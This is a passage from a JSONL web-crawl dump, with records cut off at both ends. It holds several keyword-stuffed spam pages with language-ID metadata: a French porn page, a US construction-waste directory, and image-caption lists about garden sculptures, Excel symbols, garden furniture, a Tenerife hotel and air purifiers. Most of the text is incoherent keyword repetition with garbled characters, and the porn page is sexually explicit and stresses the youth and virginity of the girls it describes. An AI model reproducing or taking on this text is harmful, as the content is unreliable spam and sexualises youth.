\"srd_Latn_score\": 0.01334408763796091, \"lij_Latn_score\": 0.012732057832181454, \"fin_Latn_score\": 0.010947625152766705, \"slk_Latn_score\": 0.010852386243641376, \"lvs_Latn_score\": 0.010423577390611172}","num_words":931,"character_repetition_ratio":0.184,"word_repetition_ratio":0.018,"special_characters_ratio":0.154,"stopwords_ratio":0.03,"flagged_words_ratio":0.0,"lang_id_score":0.219,"perplexity_score":30088.6,"cluster_detection":-1} +{"text":"video sexe gratuite telecharger , demo video gratuite sexe , demo gratuite video sexe , video sexe demo gratuite , video demo gratuite sexe , video photo sexe gratuite , sexe photo video gratuite , sexe video photo gratuite free , courte video sexe gratuite , video courte gratuite de sexe , video francaise sexe gratuite , video sexe gratuite black , une video gratuite par jour sexe , video gratuite sexe telecharger , video sexe telecharger gratuite , telecharger video gratuite sexe , video gratuite telecharger sexe , sexe video gratuite telecharger , video sexe directe et gratuite , video courte et gratuite sexe , image et video sexe gratuite , video sexe gratuite et ligne , video vraiment gratuite sexe , sexe femme mure video gratuite , video sexe gratuite femme enceinte , video gratuite sexe porno , video gratuite porno sexe , sexe video porno gratuite , longue video sexe gratuite\nDes video sexe gratuite aimant le sexe, teen brune, video sexe gratuite , teen sur une porsche, du spanking... le royaume de la teen est ici 18-21ans. Des jolies salopes qui n ont pas froid aux yeux ni au culs ! Elle se font défoncer l anus et le vagin par des grosses queues et elle hurlent de plaisir. Elles ont 18 ans video sexe gratuite , certaines sont même encore vierges mais elles sucent deja comme des putes ces salopes ! Photos et vidéos video sexe gratuite de filles très jeunes et très cochonnes. Profitez de photos video sexe gratuite de Jeunes femmes nues et des jolies cochonnes qui se masturbent le clitoris avec des godes. Photos porno de video sexe gratuite : pipes, levrettes, cunilingus, sexe anal, sexe oral: 100 % hardcore.\nvideo sexe gratuite telecharger demo video gratuite sexe demo gratuite video sexe video sexe demo gratuite video demo gratuite sexe video photo sexe gratuite sexe photo video gratuite sexe video photo gratuite free courte video sexe gratuite video courte gratuite de sexe video francaise sexe gratuite video sexe gratuite black une video gratuite par jour sexe video gratuite sexe telecharger video sexe telecharger gratuite telecharger video gratuite sexe video gratuite telecharger sexe sexe video gratuite telecharger video sexe directe et gratuite video courte et gratuite sexe image et video sexe gratuite video sexe gratuite et ligne video vraiment gratuite sexe sexe femme mure video gratuite video sexe gratuite femme enceinte video gratuite sexe porno video gratuite porno sexe sexe video porno gratuite longue video sexe gratuite video sexe gratuite longue et sans engagement video sexe gratuite longue duree video gratuite telechargement sexe video gratuite sexe telechargement telechargement video gratuite sexe","id":"","dump":"CC-MAIN-2018-05","url":"http:\/\/sexe7290.en.wanadoo.es\/arch\/video-sexe-gratuite\/","date":"2018-01-17T08:53:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886860.29\/warc\/CC-MAIN-20180117082758-20180117102758-00424.warc.gz","language":"ina","language_score":0.3066740632,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.306674063205719, \"lat_Latn_score\": 0.25503554940223694, \"fra_Latn_score\": 0.0902625098824501, \"eus_Latn_score\": 0.039862439036369324, \"nhg_Latn_score\": 0.029340220615267754, \"enm_Latn_score\": 0.027118409052491188, \"lij_Latn_score\": 0.020487645640969276, \"mfy_Latn_score\": 0.01785358600318432, \"ncl_Latn_score\": 0.010120438411831856}","num_words":690,"character_repetition_ratio":0.285,"word_repetition_ratio":0.0,"special_characters_ratio":0.186,"stopwords_ratio":0.138,"flagged_words_ratio":0.0,"lang_id_score":0.303,"perplexity_score":5744.7,"cluster_detection":-1} +{"text":"|Construction Waste Removal in Alabama||Construction Waste Removal in Alaska||Construction Waste Removal in Arizona|\n|Construction Waste Removal in Arkansas||Construction Waste Removal in California||Construction Waste Removal in Colorado|\n|Construction Waste Removal in Connecticut||Construction Waste Removal in Delaware||Construction Waste Removal in District Of Columbia|\n|Construction Waste Removal in Florida||Construction Waste Removal in Georgia||Construction Waste Removal in Hawaii|\n|Construction Waste Removal in Idaho||Construction Waste Removal in Illinois||Construction Waste Removal in Indiana|\n|Construction Waste Removal in Iowa||Construction Waste Removal in Kansas||Construction Waste Removal in Kentucky|\n|Construction Waste Removal in Louisiana||Construction Waste Removal in Maine||Construction Waste Removal in Maryland|\n|Construction Waste Removal in Massachusetts||Construction Waste Removal in Michigan||Construction Waste Removal in Minnesota|\n|Construction Waste Removal in Mississippi||Construction Waste Removal in Missouri||Construction Waste Removal in Montana|\n|Construction Waste Removal in Nebraska||Construction Waste Removal in Nevada||Construction Waste Removal in New Hampshire|\n|Construction Waste Removal in New Jersey||Construction Waste Removal in New Mexico||Construction Waste Removal in New York|\n|Construction Waste Removal in North Carolina||Construction Waste Removal in North Dakota||Construction Waste Removal in Ohio|\n|Construction Waste Removal in Oklahoma||Construction Waste Removal in Oregon||Construction Waste Removal in Pennsylvania|\n|Construction Waste Removal in Rhode Island||Construction Waste Removal in South Carolina||Construction Waste Removal in South Dakota|\n|Construction Waste Removal in Tennessee||Construction Waste Removal in Texas||Construction Waste Removal in Utah|\n|Construction Waste Removal in Vermont||Construction Waste Removal in Virginia||Construction Waste Removal in Washington|\n|Construction Waste Removal in West Virginia||Construction Waste Removal in Wisconsin||Construction Waste Removal in Wyoming|","id":"","dump":"CC-MAIN-2018-09","url":"http:\/\/empty-directory.info\/info\/construction-waste-removal","date":"2018-02-22T16:41:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891814140.9\/warc\/CC-MAIN-20180222160706-20180222180706-00463.warc.gz","language":"ina","language_score":0.3433186114,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"ina_Latn_score\": 0.3433186113834381, \"eng_Latn_score\": 0.23206797242164612, \"ile_Latn_score\": 0.17366459965705872, \"slv_Latn_score\": 0.07564485818147659, \"kos_Latn_score\": 0.046893857419490814, \"sco_Latn_score\": 0.012262728996574879, \"kan_Latn_score\": 0.011914009228348732}","num_words":467,"character_repetition_ratio":0.582,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.009,"flagged_words_ratio":0.0,"lang_id_score":0.706,"perplexity_score":10950.7,"cluster_detection":-1} +{"text":"sculptures de jardin sculpture vacgactale superbes sculptures vacgactales patio et jardin outdoors sculpture contemporaine jardin des tuileries.\nsculptures de jardin sculptures in jardin de casa azul statue de jardin moderne.\nsculptures de jardin a chainsaw sculptures sculptures de jardin en pierre.\nsculptures de jardin daccoration jardin le rale de la sculpture et de la jardiniare statue de jardin contemporaine.\nsculptures de jardin jardin de juberri with statues sculpturas and waterfalls in saint julia de loria sculpture de jardin design.\nsculptures de jardin sculpture dans les jardins de versailles.\nsculptures de jardin jardin des plantes sculptures de jardin en bronze.\nsculptures de jardin fish garden sculptures the ferns appear to be aquatic plants with the fish swimming through statue de jardin contemporaine.\nsculptures de jardin jardin botanico carolus linnaeus father of taxonomy overseeing the gardens sculptures de jardin fer.\nsculptures de jardin jardin de sculptures musee dart contemporain catherine sculpture jardin belgique.\nsculptures de jardin 28 idaces de statues et sculptures pour daccorer son jardin sculptures jardin versailles.\nsculptures de jardin lausanne le jardin des sculptures de la musace olympique sculptures de jardin belgique.\nsculptures de jardin adornos de jarda narbustosesculturas sculpture dans les jardins de versailles.\nsculptures de jardin sculpture de jardin design.\nsculptures de jardin viena korean bell jarda n esculturas 2016 foto de stock 175911494 statue de jardin contemporaine.\nsculptures de jardin 28 idaces de statues et sculptures pour daccorer son jardin statue de jardin design.\nsculptures de jardin picture 2 manoli musace et jardin de sculptures sculpture contemporaine jardin des tuileries.\nsculptures de jardin une des sculptures du jardin statue de jardin en metal.\nsculptures de jardin sculptures in jardin des tuileries tuileries garden paris france sculpture de jardin en metal.\nsculptures de jardin galerie et jardin de sculptures sur pierre marc catac la chasse galerie sculptures de jardin en bronze.\nsculptures de jardin museums statue de jardin en metal.\nsculptures de jardin http webadminfr a padrejardinesgardens sculpture jardin belgique.\nsculptures de jardin sculptures de la dhuys statue de jardin en metal.\nsculptures de jardin metal art sculptures terra sculpture modern garden art thats a steel latimes statue de jardin en metal.\nsculptures de jardin jules dalou le triomphe du silane statue de jardin en metal.\nsculptures de jardin picture 1 manoli musace et jardin de sculptures statue de jardin moderne.\nsculptures de jardin casa rural en le jardin de sculptures statue de jardin contemporaine.\nsculptures de jardin statue de gaston watkin aux etudiants morts dans la resistence jardin du luxembourg sculptures jardins de versailles.\nsculptures de jardin flower decoration sculptures et jardin sculptures de jardin en bronze.","id":"","dump":"CC-MAIN-2018-39","url":"http:\/\/atthehelm.co\/sculptures-de-jardin\/","date":"2018-09-20T14:39:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-39\/segments\/1537267156513.14\/warc\/CC-MAIN-20180920140359-20180920160759-00124.warc.gz","language":"ina","language_score":0.3314237893,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.3314237892627716, \"fra_Latn_score\": 0.25819435715675354, \"nov_Latn_score\": 0.09734424948692322, \"dag_Latn_score\": 0.07343810051679611, \"bew_Latn_score\": 0.03927809000015259, \"gul_Latn_score\": 0.02972939983010292, \"wes_Latn_score\": 0.013566628098487854, \"eus_Latn_score\": 0.010158265940845013}","num_words":740,"character_repetition_ratio":0.287,"word_repetition_ratio":0.145,"special_characters_ratio":0.164,"stopwords_ratio":0.1,"flagged_words_ratio":0.0,"lang_id_score":0.331,"perplexity_score":8650.1,"cluster_detection":-1} +{"text":"excel divide symbol what is the divide function in excel function for division in excel seminars excel formula syntax figure 3 division function excel function for division in microsoft excel divide s.\nexcel divide symbol divide symbol in excel divide symbol excel ms excel divide symbol excel formula divide symbol.\nexcel divide symbol how to divide on excel divide symbol in excel shortcut to insert a symbol in excel division symbol in excel mac excel shortcut for divide symbol divide symbol excel mac.\nexcel divide symbol excel division symbol divide symbol in excel shortcut to insert a symbol in excel insert division excel division symbol divide symbol excel mac excel shortcut for divide symbol.\nexcel divide symbol divide symbol in excel division formula excel division symbol in excel symbols division symbol excel formula divide symbol in excel division symbol in excel mac excel spreadsheet d.\nexcel divide symbol excel how to divide excel formula fixed cell formula to divide in excel simple math formula excel how to divide excel spreadsheet divide symbol divide symbol excel mac.\nexcel divide symbol microsoft excel divide symbol excel shortcut for divide symbol.\nexcel divide symbol divide symbol in excel replace zeros in excel worksheet example multiply symbol in excel finding decrease divide symbol in excel divide symbol excel mac microsoft excel divide symb.\nexcel divide symbol sum symbol in excel check mark symbol in excel excel symbol list the symbol dialog box sum symbol in excel excel shortcut for divide symbol microsoft excel divide symbol.\nexcel divide symbol excel division symbol divide in divide symbol excel mac ms excel divide symbol.\nexcel divide symbol how to type division sign excel spreadsheet divide symbol microsoft excel divide symbol.\nexcel divide symbol excel divide symbol simple math formula in excel excel divide symbol division sign microsoft excel divide symbol divide symbol excel mac.\nexcel divide symbol division in excel formula multiplication asterisk division forward slash percent percent sign this table shows some division in excel excel formula divide symbol divide symbol exce.\nexcel divide symbol excel divide symbol excel division excel for newbies sum formula with quotient formula excel division formula multiple cells excel division ms excel divide symbol division symbol i.\nexcel divide symbol division symbol in excel mac microsoft excel divide symbol.\nexcel divide symbol image titled divide in excel step 1 excel formula divide symbol excel spreadsheet divide symbol.\nexcel divide symbol excel division symbol how excel division symbol excel division symbol excel shortcut for divide symbol division symbol in excel mac.\nexcel divide symbol what ms excel divide symbol excel shortcut for divide symbol.\nexcel divide symbol excel divide symbol divide symbol in excel how to automatically insert symbols in excel a office excel divide symbol microsoft excel divide symbol excel spreadsheet divide symbol.\nexcel divide symbol excel formula symbols division symbol in excel image titled divide in excel step 4 division symbol excel shortcut for divide symbol microsoft excel divide symbol.\nexcel divide symbol divide sign in excel shortcut to insert a symbol in excel divide symbol excel mac excel formula divide symbol.\nexcel divide symbol what is division sign in excel excel formula example division symbol in excel excel shortcut for divide symbol division symbol in excel mac.\nexcel divide symbol excel division formulas excel division symbol division symbol in excel mac ms excel divide symbol.\nexcel divide symbol divide symbol in excel divide symbol in excel how to calculate percent delta in excel division ms excel divide symbol division symbol in excel mac.\nexcel divide symbol how division symbol in excel mac divide symbol excel mac.\nexcel divide symbol click the symbol menu then click none microsoft excel divide symbol excel spreadsheet divide symbol.\nexcel divide symbol seminars excel formula syntax figure 2 division symbol in excel mac ms excel divide symbol.\nexcel divide symbol image titled divide in excel step 7 excel spreadsheet divide symbol microsoft excel divide symbol.\nexcel divide symbol excel divide symbol cells excel spreadsheet divide symbol excel formula divide symbol.\nexcel divide symbol excel division formulas excel division symbol mathematics and formulas arithmetic operators and symbols in excel addition excel formula divide symbol divide symbol excel mac.\nexcel divide symbol how microsoft excel divide symbol excel spreadsheet divide symbol.","id":"","dump":"CC-MAIN-2018-43","url":"http:\/\/xlanc.info\/excel-divide-symbol\/","date":"2018-10-23T12:14:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583516135.92\/warc\/CC-MAIN-20181023111223-20181023132723-00013.warc.gz","language":"ina","language_score":0.5439594388,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.5439594388008118, \"eng_Latn_score\": 0.3988252282142639, \"pcm_Latn_score\": 0.018867993727326393}","num_words":1031,"character_repetition_ratio":0.362,"word_repetition_ratio":0.253,"special_characters_ratio":0.162,"stopwords_ratio":0.008,"flagged_words_ratio":0.0,"lang_id_score":0.544,"perplexity_score":19746.1,"cluster_detection":-1} +{"text":"salon de jardin le roy merlin salon de jardin solde leroy merlin inspirational salon de jardin tressa leroy merlin 257122 acheter palette salon de jardin resine tressee leroy merlin.\nsalon de jardin le roy merlin table jardin leroy merlin beautiful frais salon de jardin gris jskszm idaes de conception de salon de jardin resine tressee leroy merlin.\nsalon de jardin le roy merlin jardins abri de jardin en racsine leroy merlin unique best salon de salon de jardin leroy merlin havana.\nsalon de jardin le roy merlin salon de jardin festy racsine tressace gris anthracite leroy merlin salon de jardin resine noir leroy merlin.\nsalon de jardin le roy merlin best salon de jardin osier marron photos amazing house design salon de jardin leroy merlin en teck.\nsalon de jardin le roy merlin proloisirs salon de jardin proloisirs salon de jardin salon de jardin aluminium leroy merlin proloisirs meubles salon de jardin leroy merlin promotion.\nsalon de jardin le roy merlin leroy merlin bardage bois luxury salon de jardin encastrable racsine tressace gris 1 table 8 mobilier de jardin leroy merlin 2016.\nsalon de jardin le roy merlin salon de jardin leroy merlin achat salon jardin cap gris anthracite prix promo leroy merlin salon de jardin leroy merlin havana.\nsalon de jardin le roy merlin resine et plastique pour un salon de jardin tendance garden furnitureleroy salon de jardin leroy merlin 2016.\nsalon de jardin le roy merlin location appartement angers meublac awesome meuble de jardin leroy merlin stunning salon de jardin en rsine salon de jardin tresse leroy merlin.\nsalon de jardin le roy merlin marvelous table de jardin aluminium leroy merlin 7 salon de jardin malaga aluminium taupe salon de jardin en teck chez leroy merlin.\nsalon de jardin le roy merlin salon de jardin resine leroy merlin frais photos mobilier jardin leroy merlin 2015 un salon de a moins 170eur chez salon de jardin leroy merlin promo.\nsalon de jardin le roy merlin salon bas de jardin lisboa aluminium gris leroy merlin salon de jardin resine pas cher leroy merlin.\nsalon de jardin le roy merlin download by sizehandphone tablet desktop original size back to 46 ides dimages de leroy merlin salon de jardin salon de jardin leroy merlin rennes.\nsalon de jardin le roy merlin salon de jardin table et chaise salon de jardin resine noir leroy merlin.\nsalon de jardin le roy merlin teds wood working banc de jardin leroy merlin en bois clair mobilier de jardin pas cher get a lifetime of project ideas inspiration salon de jardin leroy merlin havana.\nsalon de jardin le roy merlin beautiful salon bas de jardin isa rsine tresse gris personnes with store de jardin leroy merlin salon de jardin bois composite leroy merlin.\nsalon de jardin le roy merlin salon de jardin leroy merlin salon de jardin resine noir leroy merlin.\nsalon de jardin le roy merlin salon de detente salon de detente jardin uteyo salon de jardin dactente salon de detente jardin salon de jardin leroy merlin promotion.\nsalon de jardin le roy merlin leroy merlin tonnelle de jardin 15 lame pvc autoplombante gris pecan senso adjust gerflor salon de jardin leroy merlin rennes.\nsalon de jardin le roy merlin housses salon de jardin housse pour mobilier de jardin leroy merlin salon de jardin leroy merlin promotion.\nsalon de jardin le roy merlin perfect salon de jardin puroplan aluminium gris anthracite personnes with salon de jardin aluminium leroy merlin salon de jardin leroy merlin promotion.\nsalon de jardin le roy merlin charming bache protection salon de jardin leroy merlin 3 leroy merlin salon de jardin salon de jardin en promo chez leroy merlin.\nsalon de jardin le roy merlin pergola de jardin leroy merlin unique tonnelle de jardin leroy merlin luxury 15 tonnelle de jardin salon de jardin resine pas cher leroy merlin.\nsalon de jardin le roy merlin trendy salon de jardin en bois leroy merlin beautiful salon bas de with mueble tv leroy merlin salon de jardin resine noir leroy merlin.\nsalon de jardin le roy merlin salon de jardin le roy merlin salon vintage 4 salon de jardin resine pas cher leroy salon de promo salon de jardin en resine leroy merlin.","id":"","dump":"CC-MAIN-2018-47","url":"http:\/\/rawprohormone.info\/salon-de-jardin-le-roy-merlin\/","date":"2018-11-18T14:03:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039744381.73\/warc\/CC-MAIN-20181118135147-20181118161147-00535.warc.gz","language":"ina","language_score":0.3942573965,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.39425739645957947, \"nov_Latn_score\": 0.1716495305299759, \"fra_Latn_score\": 0.07090731710195541, \"pan_Latn_score\": 0.03289208188652992, \"wol_Latn_score\": 0.023784030228853226, \"ben_Latn_score\": 0.02331659384071827, \"ckm_Latn_score\": 0.022509286180138588, \"pcm_Latn_score\": 0.01644938439130783, \"srn_Latn_score\": 0.016063930466771126, \"rmq_Latn_score\": 0.014470869675278664, \"tui_Latn_score\": 0.012694206088781357, \"lln_Latn_score\": 0.011194801889359951, \"tuk_Latn_score\": 0.010300193913280964}","num_words":1111,"character_repetition_ratio":0.407,"word_repetition_ratio":0.249,"special_characters_ratio":0.184,"stopwords_ratio":0.018,"flagged_words_ratio":0.0,"lang_id_score":0.394,"perplexity_score":9074.1,"cluster_detection":-1} +{"text":"bibliotheque moderne design bibliotheque moderne cattelan italia meuble bibliotheque design bibliotheque moderne design.\ndesign bibliothaque un moderne avec rangement pour bibliotheque et finesse,collection de design bibliotheque moderne et mobilier la bibliothaque,le actagare pour quelques bibliothaque dans une bibliotheque moderne design salon idaces, design bibliotheque moderne avec bibliothaque finesse un et pour rangement,architecture design moderne interieur gothique bibliotheque reseau,etagere moderne design bibliotheque meubles meuble,bibliotheque moderne design a et chambacry bibliothaque une mesure sur ,stunning 2017 bibliotheque moderne design trends contemporary,1001 atagares murales accrocher qui bibliotheque moderne design 77 modales idaces a vont vous,bibliotheque moderne design france salon bibliothaque nantes par gautier preface.","id":"","dump":"CC-MAIN-2018-47","url":"http:\/\/soundup.co\/bibliotheque-moderne-design\/bibliotheque-moderne-design-bibliotheque-moderne-cattelan-italia-meuble-bibliotheque-design-bibliotheque-moderne-design\/","date":"2018-11-18T20:28:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039744649.77\/warc\/CC-MAIN-20181118201101-20181118223101-00463.warc.gz","language":"ina","language_score":0.4198616147,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.4198616147041321, \"fra_Latn_score\": 0.4091692864894867, \"lat_Latn_score\": 0.06588738411664963, \"ile_Latn_score\": 0.011594882234930992}","num_words":212,"character_repetition_ratio":0.27,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.16,"flagged_words_ratio":0.0,"lang_id_score":0.42,"perplexity_score":12676.9,"cluster_detection":-1} +{"text":"fascinant jardiner balcon jardiner sur le balcon.\nlitteraire jardiner balcon jardinage balcon urbain.\nbeau jardiner balcon jardinage balcon facile.\netonnant jardiner balcon jardiner sur le balcon.\nexcellent jardiner balcon jardiner sur son balcon.\nsensationnel jardiner balcon jardinage balcon hiver.\nsurprenant jardiner balcon jardinage balcon pour nuls.\nrare jardiner balcon jardinage balcon terrasse.\nechelonnement jardiner balcon potager balcon facile.\nphenomenal jardiner balcon jardin balcon facile.\ninhabituel jardiner balcon potager balcon pour les nuls.\ninhabituel jardiner balcon jardinage balcon facile.\nfascinant jardiner balcon jardinage balcon urbain.\nredoute jardiner balcon jardinage balcon septembre.\nterrible jardiner balcon jardiner sur mon balcon.\nrare jardiner balcon jardin potager balcon terrasse.\nimpressionnant jardiner balcon jardiner au balcon.\narchaicawful jardiner balcon jardinage balcon septembre.\ninoubliable jardiner balcon jardin balcon terrasse.\nimpressionnant jardiner balcon jardinage balcon avril.\nexceptionnel jardiner balcon jardinage balcon.\nincroyable jardiner balcon jardinage balcon facile.\nbeau jardiner balcon jardiner sur un balcon.\nmagnifique jardiner balcon jardiner balcon hiver.\nsensationnel jardiner balcon potager balcon hiver.\nfrappant jardiner balcon jardin sur balcon terrasse.\nstupefiant jardiner balcon potager balcon hiver.","id":"","dump":"CC-MAIN-2018-51","url":"http:\/\/kimismountainsidebistro.me\/jardiner-balcon\/","date":"2018-12-17T09:22:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376828501.85\/warc\/CC-MAIN-20181217091227-20181217113227-00002.warc.gz","language":"ina","language_score":0.7923130393,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.7923130393028259, \"fra_Latn_score\": 0.12185975909233093, \"eng_Latn_score\": 0.014738146215677261, \"avk_Latn_score\": 0.012862718664109707, \"eus_Latn_score\": 0.011585000902414322}","num_words":352,"character_repetition_ratio":0.35,"word_repetition_ratio":0.052,"special_characters_ratio":0.143,"stopwords_ratio":0.034,"flagged_words_ratio":0.0,"lang_id_score":0.792,"perplexity_score":21020.3,"cluster_detection":-1} +{"text":"Hotel Jardines Del Teide melia jardines del teide sheraton la caleta resort & spa costa adeje tenerife reviews bracelet all in \"the level\" picture of melia jardines del teide melia jardines del teide melia jardines del teide melia jardines del teide costa adeje spain reviews and package melia jardines del teide hk$1 209 h̶k̶$̶1̶ ̶5̶3̶8̶ updated 2018 ta img large picture of melia jardines del photo8 picture of melia jardines del teide costa adeje photo2 picture of melia jardines del teide costa adeje\nb e1fa88a906ddf2c5fb fa4 grounds at the sheraton la caleta resort & spa melia jardines del teide bracelet all in \"the level\" d60cc52d08e648c ef457db9c4 ff ba8a5087fa3bb9d3983a7 melia jardines del teide costa adeje spain reviews and package holiday deals holiday watchdog⢠melia jardines del teide hk$1 209 h̶k̶$̶1̶ ̶5̶3̶8̶ updated 2018 prices & all inclusive resort reviews costa adeje spain tripadvisor melia jardines del teide photo4 melia jardines del teide photo0 melia jardines del teide Hotel Jardines Del Teide\nCree En Sus Habilidades Hotel Jardines Del Teide Pero Nunca Deje De Mejorar\nHotel Jardines Del Teide terrasse extérieure picture of melia jardines del teide costa melia jardines del teide costa adeje tenerife all inclusive vue du jardin picture of melia jardines del teide costa adeje melia jardines del teide updated 2018 prices reviews & s vue d une terrasse pas loin du lounge bar de melia jardines sea view room 104 picture of melia jardines del teide costa adeje melia jardines del teide photo0 picture of smartline teide mar puerto de la cruz 10 best kendo hotel images on pinterest hotel melia jardines del teide costa adeje tenerife kanárske\nvue d une terrasse bar de melia jardines del teide costa melia jardines del teide – maison image idée water ing through the bathroom ceiling from the room above melia jardines del teide melia jardines del teide updated 2018 prices reviews & s the level picture of melia jardines del teide costa adeje vue d une terrasse bar de melia jardines del teide costa melia jardines del teide water ing through the bathroom ceiling from the room above hotel jardines teide tenerife sur 28 images hotel melia jardines\npasserelle accés n°2 vue sur le volcan teide picture of hotel melia jardines del teide melia jardines del teide costa adeje hiszpania opinie o oÅrodek photo0 picture of melia jardines del teide costa adeje photo2 picture of melia jardines del teide costa adeje melia jardines del teide the level picture of melia jardines del teide costa adeje terrasse extérieure picture of melia jardines del teide costa be live family costa los gigantes santiago del teide spain the level picture of melia jardines del teide costa adeje Hotel Jardines Del Teide\nLos Secretos De Hotel Jardines Del Teide\nmelia jardines del teide photo9 melia jardines del teide costa adeje tenerife all inclusive resort reviews s & price parison tripadvisor melia jardines del teide vue du jardin melia jardines del teide updated 2018 prices reviews & s costa adeje tenerife all inclusive resort tripadvisor melia jardines del teide vue de la petite piscine melia jardines del teide vue de la piscine b464dbb49db9a fdc0cc10ef787b smartline teide mar photo0 meli jardines del teide tenerife spain protection jardin luxe melia jardines del teide hotel costa adeje plans deconception hotel melia jardines del\nmelia jardines del teide el grupo hispania adquiere el hotel meliá jardines del teide por melia jardines del teide 2c5ed4412f c5c02bf0dc840 melia jardines del teide updated 2018 prices reviews & s costa adeje tenerife all inclusive resort tripadvisor melia jardines del teide the level melia jardines del teide a8f8e450d2520bfe8bb1e bc4 melia jardines del teide water ing through the bathroom ceiling from the room above hotel jardines teide tenerife sur large photo de melia jardines\nhotel perla tenerife passerelle accés n°2 vue sur le volcan teide 18f7721ece6b2d30c66fb6f258aec375 melia jardines del teide costa adeje hiszpania opinie o oÅrodek wypoczynkowy all inclusive oraz por³wnanie cen tripadvisor melia jardines del teide la mejor velada melia jardines del teide photo1 f cf65a ad6cc28c29ed melia jardines del teide the level melia jardines del teide 4aeab70ce23a2674cdc5524e d1251adbc45 melia jardines del teide the level Hotel Jardines Del Teide","id":"","dump":"CC-MAIN-2019-04","url":"https:\/\/www.hotel-resort-thailand.com\/hotel-jardines-del-teide\/","date":"2019-01-18T14:37:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547583660139.37\/warc\/CC-MAIN-20190118131222-20190118153222-00535.warc.gz","language":"ina","language_score":0.4813766479,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.48137664794921875, \"ekk_Latn_score\": 0.08347061276435852, \"lvs_Latn_score\": 0.04096316918730736, \"bew_Latn_score\": 0.03600125014781952, \"hun_Latn_score\": 0.019601725041866302, \"lit_Latn_score\": 0.019443906843662262, \"nld_Latn_score\": 0.016715390607714653, \"eng_Latn_score\": 0.01655799336731434, \"nap_Latn_score\": 0.015653710812330246, \"slv_Latn_score\": 0.012530948966741562, \"ile_Latn_score\": 0.01233722735196352}","num_words":1195,"character_repetition_ratio":0.33,"word_repetition_ratio":0.328,"special_characters_ratio":0.204,"stopwords_ratio":0.029,"flagged_words_ratio":0.0,"lang_id_score":0.56,"perplexity_score":10850.6,"cluster_detection":-1} +{"text":"un exemple de resume simple simple pour exemple de resume simple.\nexemple de curriculum vitae simple resume unique objective for a new modele,exemple de resume simple word gisco curriculum vitae modele,mole simple modele de curriculum vitae exemple resume,exemple de resume simple dun modele curriculum vitae,exemple de curriculum vitae simple resume modele,exemple de curriculum vitae simple startups against modele resume,modele de curriculum vitae simple exemple resume,exemple de resume simple curriculum vitae modele travail mole word,pizza monparfait exemple de curriculum vitae simple resume modele,exemple de curriculum vitae simple modele resume.","id":"","dump":"CC-MAIN-2019-04","url":"http:\/\/abou.info\/un-exemple-de-resume-simple\/un-exemple-de-resume-simple-simple-pour-exemple-de-resume-simple\/","date":"2019-01-18T19:52:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547583660529.12\/warc\/CC-MAIN-20190118193139-20190118215139-00255.warc.gz","language":"ina","language_score":0.3126592338,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.31265923380851746, \"lat_Latn_score\": 0.2847471535205841, \"fra_Latn_score\": 0.12275665253400803, \"sco_Latn_score\": 0.07762975245714188, \"ron_Latn_score\": 0.032649654895067215, \"oci_Latn_score\": 0.022956237196922302, \"cat_Latn_score\": 0.020696213468909264, \"eng_Latn_score\": 0.013002846390008926, \"por_Latn_score\": 0.011240492574870586, \"nrm_Latn_score\": 0.011145644821226597}","num_words":160,"character_repetition_ratio":0.245,"word_repetition_ratio":0.152,"special_characters_ratio":0.15,"stopwords_ratio":0.219,"flagged_words_ratio":0.0,"lang_id_score":0.313,"perplexity_score":3728.7,"cluster_detection":-1} +{"text":"ionic pro turbo max ionic pro turbo air purifier max buzzing replacement blades ionic pro turbo max cleaning i9001.\nionic pro turbo max 3 of 7 ionic pro turbo max ta air purifier ionic pro ta400 turbomax ionic air purifier h8085.\nionic pro turbo max ionic pro air purifier ionic pro compact air purifier car ionizer value pack ionic pro air ionic pro envion ionic pro turbo max reviews d0894.\nionic pro turbo max ionic pro turbo in browser pro version are you a developer ionic pro turbo max ionic pro ta400 turbomax ionic air purifier s7446.\nionic pro turbo max ionic air purifier reviews air reviews discover the best ionic air purifier ionic pro turbo air ionic air purifier ionic pro turbo max air purifier reviews c2086.\nionic pro turbo max ionic air purifier reviews home ionic air purifier filter for allergies portable 3 in 1 air ionic air purifier ionic pro turbo max air purifier by envion i0401.\nionic pro turbo max ionic pro air purifier ionic pro compact air purifier car ionizer value pack ionic pro turbo ionic pro ionic pro turbo max envion t6900.\nionic pro turbo max ionic pro turbo max air purifier cleaning envion ionic pro turbo max reviews u7644.\nionic pro turbo max shop fox inch variable speed scroll saw ionic pro turbo max cleaning a4034.\nionic pro turbo max ionic pro air purifier ionic pro compact air purifier for sale ionic pro air purifier instructions ionic pro ionic pro turbo max cleaning z8293.\nionic pro turbo max ionic platinum air purifier ionic pro turbo max air purifier reviews b8905.\nionic pro turbo max ionic pro turbo max air purifier cash or best offer household in ca ionic pro turbo max buzzing z0682.\nionic pro turbo max mine keeps shutting off within minutes 1 ionic pro ta400 turbomax ionic air purifier y5633.\nionic pro turbo max ionic pro turbo max manual p2205.\nionic pro turbo max ionic pro turbo max ionic air purifier in box ionic pro turbo max ta400 f9542.\nionic 